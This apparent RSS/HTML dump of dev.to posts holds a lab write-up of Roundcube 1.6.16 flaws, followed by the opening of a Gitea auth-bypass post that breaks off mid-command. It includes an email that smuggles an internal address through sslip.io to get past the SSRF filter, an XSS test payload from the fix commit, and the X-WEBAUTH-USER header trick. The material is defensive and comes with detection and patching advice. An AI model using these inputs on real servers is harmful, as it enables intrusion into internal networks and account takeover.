    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'modcssurls'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;$tempurl&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$attrib&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'href'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So an email carrying &lt;code&gt;&amp;lt;link rel="stylesheet" href="..."&amp;gt;&lt;/code&gt; makes the server go to that address. The only thing standing between it and the internal network is the &lt;code&gt;is_local_url&lt;/code&gt; check. The entire SSRF defense rests on that function. Let us look at how it works in 1.6.16.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;is_local_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parse_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;\PHP_URL_HOST&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
    &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^::ffff:/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/([0-9a-f.-]+)\.nip\.io$/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;'-.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Factory&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;parseAddressString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$nets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'127.0.0.0/8'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'10.0.0.0/8'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'172.16.0.0/12'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;'192.168.0.0/16'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'169.254.0.0/16'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'::1/128'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'fc00::/7'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nets&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$range&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Factory&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;parseRangeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$net&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$range&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$address&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// local, block it&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Direct private addresses are covered honestly: all of RFC1918, loopback, link-local including the cloud metadata range at 169.254. You cannot write &lt;code&gt;href="http://127.0.0.1"&lt;/code&gt; or &lt;code&gt;http://169.254.169.254&lt;/code&gt;, it gets cut off.&lt;/p&gt;

&lt;p&gt;But look at the &lt;code&gt;nip.io&lt;/code&gt; line. The developers knew about DNS services that resolve a name like &lt;code&gt;10.0.0.1.nip.io&lt;/code&gt; to the IP &lt;code&gt;10.0.0.1&lt;/code&gt;. Such a service lets you hide a private address behind a public name: &lt;code&gt;is_local_url&lt;/code&gt; sees a domain, not an IP, and lets it through. So &lt;code&gt;nip.io&lt;/code&gt; is unwrapped back into an address before the check. Fair enough.&lt;/p&gt;

&lt;p&gt;Except &lt;code&gt;nip.io&lt;/code&gt; is not the only one. There is &lt;code&gt;sslip.io&lt;/code&gt;, which does exactly the same thing, and in 1.6.16 it is not in that line. Which means &lt;code&gt;172.30.0.3.sslip.io&lt;/code&gt; is just an external domain to the function. It does not unwrap it, &lt;code&gt;parseAddressString&lt;/code&gt; gives no IP from a domain name, the range check never fires, and the function returns false. Not local. Go ahead.&lt;/p&gt;

&lt;h3&gt;
  
  
  The lab
&lt;/h3&gt;

&lt;p&gt;Everything runs in an isolated network of three containers, the mailboxes are fake. The victim is Roundcube 1.6.16 (the last version before the fix), the mail server is GreenMail, and the attacker container runs a plain &lt;code&gt;python -m http.server&lt;/code&gt;, visible inside the network as &lt;code&gt;172.30.0.3&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;roundcube&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;roundcube/roundcubemail:1.6.16-apache&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;ROUNDCUBEMAIL_DEFAULT_HOST&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;greenmail&lt;/span&gt;
      &lt;span class="na"&gt;ROUNDCUBEMAIL_SMTP_SERVER&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;greenmail&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:8091:80"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;greenmail&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;greenmail/standalone:latest&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;GREENMAIL_OPTS&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-Dgreenmail.setup.test.all&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-Dgreenmail.users=victim@lab.local:victimpass,attacker@lab.local:attackerpass"&lt;/span&gt;
  &lt;span class="na"&gt;attacker&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;python:3.12-alpine&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;python -m http.server &lt;/span&gt;&lt;span class="m"&gt;8000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I checked the version right inside the container instead of guessing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;docker &lt;span class="nb"&gt;exec &lt;/span&gt;rc-victim &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt; /var/www/html/CHANGELOG.md
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Changelog Roundcube Webmail
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="c"&gt;# Release 1.6.16&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The attack
&lt;/h3&gt;

&lt;p&gt;I send the victim an email with a single line in the head. The host is chosen so as to slip past &lt;code&gt;is_local_url&lt;/code&gt;: public DNS will resolve &lt;code&gt;172.30.0.3.sslip.io&lt;/code&gt; back to the private &lt;code&gt;172.30.0.3&lt;/code&gt;, where my listener sits.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;link rel=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stylesheet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; href=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://172.30.0.3.sslip.io:8000/ssrf-proof.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;p&amp;gt;Styled newsletter.&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I log into webmail as the victim and open the email. By default Roundcube blocks external content and shows a bar with an allow button, so this is not zero-click, it is one user click. I allow external content (in the lab I called the same command that sits behind the button). And I look at the listener log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is. The request arrived, and it arrived from &lt;code&gt;172.30.0.4&lt;/code&gt;. That is not the victim's browser. The browser would never even see the name &lt;code&gt;172.30.0.3.sslip.io&lt;/code&gt; from the outside. &lt;code&gt;172.30.0.4&lt;/code&gt; is the Roundcube container itself, I checked with &lt;code&gt;hostname -i&lt;/code&gt;. So the server, on my command from the email, went to an internal address that I specified. The 404 does not matter here, what matters is that the request happened. That is SSRF: I have no access to the server's internal network, but with an email I made the server go there for me.&lt;/p&gt;

&lt;p&gt;On a real server, instead of my empty listener there could be an internal service, a neighboring container, an admin panel with no outside access, a database on an internal port. It gets especially ugly with the cloud metadata endpoint at 169.254.169.254: one such request from the server hands over temporary keys to the entire cloud account. This version already covers it (169.254 is in the blocklist), but the class of attack is exactly about that, and any oversight in the filter reopens the road to credentials. The attacker turns the mail server into a proxy into the internal network.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to catch it in logs
&lt;/h3&gt;

&lt;p&gt;SSRF in webmail is convenient in that it leaves a distinctive trace: an outbound HTTP connection from the web server process itself to somewhere it has no business going. Not the client, not the browser, but the php-fpm or apache of your Roundcube suddenly connecting to an internal address.&lt;/p&gt;

&lt;p&gt;The alert rule is simple: any outbound connection from the web server's UID to an address that is not on your allowlist (your SMTP, IMAP, update servers) is an incident. On the lab it was that log line with the address 172.30.0.4, that is, the IP of Roundcube itself. In production the same pattern is caught on an egress filter or in reverse-proxy logs: a service that should only receive requests suddenly starts making them.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;A one-line patch. The unwrapping of DNS services now catches more than nip.io:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/([0-9a-f.-]+)\.nip\.io$/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/([0-9a-f.-]+)\.(nip|sslip)\.io$/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I updated the image to 1.6.17, recreated the container, and replayed the exact same email from the same mailbox. Checked that the patch is in place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;docker&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt; &lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;victim&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="s2"&gt;"sslip"&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rcube_utils&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="mi"&gt;447&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/([0-9a-f.-]+)\.(nip|sslip)\.io$/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I opened the email and allowed external content. The listener log did not change after that, it still holds the single request from 1.6.16. No new hit. Now &lt;code&gt;is_local_url&lt;/code&gt; unwraps &lt;code&gt;172.30.0.3.sslip.io&lt;/code&gt; into &lt;code&gt;172.30.0.3&lt;/code&gt;, sees it fall into &lt;code&gt;172.16.0.0/12&lt;/code&gt;, and returns true. The server goes nowhere. The hole is closed.&lt;/p&gt;

&lt;p&gt;The fix also tightened an IPv6 bypass along the way: &lt;code&gt;preg_replace('/^::ffff:/i', ...)&lt;/code&gt; became &lt;code&gt;/^[0:]*:ffff:/i&lt;/code&gt;, so records like &lt;code&gt;0:0:0:0:0:ffff:127.0.0.1&lt;/code&gt; are now caught too.&lt;/p&gt;

&lt;h2&gt;
  
  
  The second 10.0, which cannot be set off from public data: CVE-2026-54433
&lt;/h2&gt;

&lt;p&gt;This part will be honest. For the second bug I do not have a working exploit, and I will explain why, because the analysis itself teaches more than a finished result.&lt;/p&gt;

&lt;p&gt;CVE-2026-54433 is, by its description, a zero-click stored XSS in the rendering of plain-text emails. It sounds spectacular: even plain text, which by definition has no HTML, runs someone else's JavaScript on open. The cause is in linkification. When Roundcube shows a text email, it finds email addresses and links in it and wraps them into clickable tags. That HTML-generation step is where the bug lives.&lt;/p&gt;

&lt;p&gt;I pull up the fix commit. It is exactly one, and it changes a single line, the regex for the query part of a mail link in &lt;code&gt;rcube_string_replacer.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"(\?[&lt;/span&gt;&lt;span class="nv"&gt;$url1$url2&lt;/span&gt;&lt;span class="s2"&gt;]+)?"&lt;/span&gt;        &lt;span class="c1"&gt;// before: allowed set of characters after ?&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'(\?[^&amp;lt;&amp;gt;\s]+)?'&lt;/span&gt;             &lt;span class="c1"&gt;// after: forbid &amp;lt; &amp;gt; and whitespace&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The point is clear: previously the tail of a &lt;code&gt;mailto&lt;/code&gt; link allowed characters you could break out of markup with, and after the fix angle brackets and whitespace are forbidden there. The commit ships with a test carrying a malicious input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a@a.co?]&amp;lt;img/src="x"/onerror=alert(document.domain)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran that input on a live 1.6.16 through the browser and got this safe HTML back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"mailto:a@a.co?"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;a@a.co?&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;]&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;img/src="x"/onerror=alert(document.domain)&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is, the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; is escaped into entities, the script does not execute even on the vulnerable version. I dug into why. The link is handled not only by the regex but also by a function &lt;code&gt;parse_url_brackets&lt;/code&gt;, which carefully strips unpaired brackets from the address, including &lt;code&gt;]&lt;/code&gt;. As a result the &lt;code&gt;]&lt;/code&gt; goes into the tail, and the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; lands in ordinary text, which gets escaped. The test input from the commit shows the boundary of the fix, but on its own it is not a working exploit.&lt;/p&gt;

&lt;p&gt;This is a normal situation. A public test attached to a fix rarely matches a real-world payload. The actual vector is held by the researcher who found it (in the credits it is Bohdan Kurinnoy of Samsung R&amp;amp;D Institute Ukraine), and it is not disclosed until the patch is widely deployed, so as not to arm attackers early. You can build a working exploit out of one diff line, but that is separate, painstaking work with the linkifier, and I will not pass a guess off as a reproduction. What can be stated firmly: the bug in the plain-text linkifier is real, its class is XSS, it is fixed by narrowing the character set. What cannot be stated: that this specific line from the advisory hacks anyone on its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  This is not one bug, it is a whole class of problems
&lt;/h2&gt;

&lt;p&gt;Look at the 1.6.17 release as a whole and it becomes clear that they were not fixing a random typo, they were going over the mail client's attack surface piece by piece.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CVE-2026-54432, another stored XSS, but this time through an attachment's MIME type. On the attachment-validation warning page the type was inserted without escaping.&lt;/li&gt;
&lt;li&gt;Vulnerabilities in the password plugin via a session-injected username.&lt;/li&gt;
&lt;li&gt;Two more SSRF bypasses via specific local addresses, on top of the sslip.io one covered here.&lt;/li&gt;
&lt;li&gt;Two denial-of-service bugs in the TNEF decoder (that is the winmail.dat from Outlook): an infinite loop and a crash via a crafted size in compressed-RTF.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Different modules, different bug types, one root. The client parses and renders data from an email: text, styles, attachments, a proprietary Microsoft format. Every parser is trust in someone else's input. The richer the mail client, the more places in it where a stranger's email gets a little more power over it than you expected. Styles gave SSRF, the linkifier gave XSS, the TNEF decoder gave DoS.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you run Roundcube, check today
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Version. 1.6.17 or newer (for the 1.7 branch that is 1.7.2). Everything listed is closed there.&lt;/li&gt;
&lt;li&gt;External content. Keep the external-resource blocking on by default. It is not only privacy, it is also the thing that keeps SSRF from firing without a user action.&lt;/li&gt;
&lt;li&gt;Network isolation. A mail frontend has no business sitting in one flat network with internal services and a cloud metadata endpoint. Limit the outbound connections of the web server itself, not only the inbound ones.&lt;/li&gt;
&lt;li&gt;Plugins. If you use the password-change plugin, update it, it has its own share of holes.&lt;/li&gt;
&lt;li&gt;Monitoring. Outbound HTTP requests from your webmail process to unexpected addresses are a signal. On the lab, SSRF shows up as a request from the IP of the server itself to somewhere it should not go.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What to take from this
&lt;/h2&gt;

&lt;p&gt;One line of regex where a second DNS service was forgotten, and an email drives your server around the internal network. Another line where the character set was not narrowed enough, and a text email catches an XSS. It is not about Roundcube. It is that any software rendering content sent to you trusts that content by default, and security here is a long list of places where that trust had to be revoked by hand. Between a convenient feature and a hole there is sometimes exactly one missed case in a filter. Here they added up to a whole release.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The lab was stood up in an isolated environment, all addresses and mailboxes are fake. Material for defending your own systems.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>roundcube</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>"Private" wasn't private: a fresh Gitea auth bypass, reproduced on a live lab</title>
      <dc:creator>Oleg Usoltsev</dc:creator>
      <pubDate>Tue, 21 Jul 2026 14:32:19 +0000</pubDate>
      <link>https://dev.to/cynepmyx/private-wasnt-private-a-fresh-gitea-auth-bypass-reproduced-on-a-live-lab-2bkn</link>
      <guid>https://dev.to/cynepmyx/private-wasnt-private-a-fresh-gitea-auth-bypass-reproduced-on-a-live-lab-2bkn</guid>
      <description>&lt;p&gt;People don't self-host git for fun. You stand up Gitea or Forgejo when the code can't leave the building. Not even into a private GitHub repo, you want your own closed perimeter, your own rules. The whole point of the exercise is privacy. Your own thing, behind a fence, under your control.&lt;/p&gt;

&lt;p&gt;Now imagine the fence isn't there. That the "private" repository hands its contents to anyone who asks the right way. That you can log in as admin with no password, using a single HTTP header.&lt;/p&gt;

&lt;p&gt;That is exactly what happened to Gitea in 2026. And more than once.&lt;/p&gt;

&lt;p&gt;Let me say it up front: I don't run Gitea myself, and this article isn't about Gitea. I work on server security, and what catches my eye here isn't a specific product, it's a problem I keep running into. Dangerous defaults in official Docker images. Someone grabs an image, runs it "like the docs say," and ends up with a hole they never put there themselves. So I took a fresh critical CVE, stood up the vulnerable version on a lab box, and ran the whole attack end to end. To show just how literal this is.&lt;/p&gt;

&lt;h2&gt;
  
  
  One header to admin: CVE-2026-20896 (CVSS 9.8)
&lt;/h2&gt;

&lt;p&gt;The entire vulnerability fits in one config line.&lt;/p&gt;

&lt;p&gt;Gitea can live behind an authenticating reverse proxy. The proxy verifies the user and passes their name in the X-WEBAUTH-USER header, and Gitea trusts that header. As long as the header comes from a trusted proxy, it's all legitimate. The REVERSE_PROXY_TRUSTED_PROXIES setting is what decides who counts as trusted. And in the official Docker image it was set to an asterisk. Meaning "trust this header from any address."&lt;/p&gt;

&lt;p&gt;From there the arithmetic is simple. An admin turns on reverse-proxy authentication (people turn it on for SSO), and anyone on the internet sends the header X-WEBAUTH-USER: admin and becomes admin. 9.8 on CVSS. Sysdig caught exploitation attempts in the wild within days of the PoC going public.&lt;/p&gt;

&lt;h3&gt;
  
  
  The lab
&lt;/h3&gt;

&lt;p&gt;Everything in an isolated container on localhost, secrets are fake. The vulnerable version and that exact default:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; vuln-gitea &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3999:3000 &lt;span class="se"&gt;\&lt;/span&gt;
